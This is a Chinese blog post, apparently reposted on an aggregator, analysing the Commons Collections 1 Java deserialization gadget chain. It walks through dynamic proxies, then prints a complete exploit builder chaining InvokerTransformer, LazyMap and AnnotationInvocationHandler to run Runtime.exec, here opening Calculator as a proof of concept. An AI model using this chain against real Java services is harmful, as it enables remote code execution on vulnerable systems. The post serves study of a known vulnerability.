[JAVA反序列化]Javacc链1分析

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[JAVA反序列化]Javacc链1分析相关的知识,希望对你有一定的参考价值。

写在前面

这几天算是好好一边审计php的一些CMS一边啃Java的代码,终于能看懂CC链1的构造流程了

动态代理

简单介绍

在JavaCC链1的构造中,动态代理起了很关键的作用,这里来进行简单介绍,Java标准库提供了动态代理的机制,其可以在运行期动态创建interface的实例,直接从demo来理解
首先我们来个通常写代码的方式
我们先来一个一个接口,本CTF狗来个Flag吧

interface flag {
    void getFlag();
}

接下来实现这个接口

class giveFlag implements flag {
    public void getFlag() {
        System.out.println("Give you flag:flag{y4tacker}");
    }
}

来测试一波,完整组合

import java.lang.String;
public class demo1 {

    public static void main(String[] args) throws Exception {
        GiveFlag giveFlag = new GiveFlag();
        giveFlag.getFlag();
    }
}


interface flag {
    void getFlag();
}

class GiveFlag implements flag {
    public void getFlag() {
        System.out.println("Give you flag:flag{y4tacker}");
    }
}

动态代理的实现

我们通过动态代理来做一个劫持玩玩,不玩最简单的

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.String;
import java.lang.reflect.Proxy;

public class demo1 {

    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new InvocationHandler() {
            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                if (method.getName().equals("getFlag")) {
                    System.out.println("就这?");
                }
                return null;
            }
        };
        flag getFlag = (flag) Proxy.newProxyInstance(
                GiveFlag.class.getClassLoader(), 
                new Class[] { flag.class }, 
                handler); 
        getFlag.getFlag();
    }
}


interface flag {
    void getFlag();
}

class GiveFlag implements flag {
    public void getFlag() {
        System.out.println("Give you flag:flag{y4tacker}");
    }
}

最后输出了就这?

JavaCC链1分析

这个链子的流程是(来自ysoserial)

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()
 */

首先给出这个链子的实现,来自P神大师傅!!!

Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, new String[]{"open /Applications/Calculator.app"}),
         };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
        handler  = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();

首先触发点和之前很像,我们知道是通过对decorate修饰后的在添加新的元素的时候,可以执行一个回调;
Lazymap在其get方法当中执行factory.transform,在get找不到值的时候,会调用factory.transform去获取一个值

public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

为了能调用这个方法,我们走AnnotationInvocationHandler中的invoke方法,在default分支

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

能看到上面Object var6 = this.memberValues.get(var4);,因此要劫持内部调用就需要使用java.reflect.proxy,上面已经说过了,如果我们把AnnotationInvocationHandler做代理,那么在readObject时,只要调用任意方法,就会进入AnnotationInvocationHandlerinvoke方法,之后触发lazymapget方法,而这个AnnotationInvocationHandler实现了InvocationHandler,因此我们就更可以放心大胆的飞了!!

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);

在这以后对象里面的memberValues就成功变成了我们的LazyMap
之前上一篇文章也说过,我们将transformers传入ChainedTransformer就实现了参数的传递(ChainedTransformer是实现了Transformer接⼝的⼀个类,它的作⽤是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
),之后用LazyMap的decorate包装,在触发lazymap的get方法后执行整个“回调”过程,整个链子的思路就很清晰啦!
然而我们最终的proxyMap也并不能直接对其序列化,毕竟他也没有readobject不能操作了,因此我再用sun.reflect.annotation.AnnotationInvocationHandler对其进行包装一波,完美实现!!!庆祝🎉太难了好几天了终于琢磨透了

参考文章

https://www.cnblogs.com/whirly/p/10154887.html
https://www.cnblogs.com/staticking/p/13628307.html
https://www.cnblogs.com/yyhuni/p/14797752.html
https://www.cnblogs.com/afanti/p/10200291.html
https://blog.csdn.net/god_zzz/article/details/108259940
https://www.cnblogs.com/nice0e3/p/13779857.html

以上是关于[JAVA反序列化]Javacc链1分析的主要内容,如果未能解决你的问题,请参考以下文章

[Java反序列化]Javacc链6分析

[Java反序列化]Javacc链6分析

[Java反序列化]JavaCC链学习(8u71前)

[Java反序列化]JavaCC链学习(8u71前)

[Java反序列化]Java-CommonsBeanutils1利用链分析

[Java反序列化]Java-CommonsBeanutils1利用链分析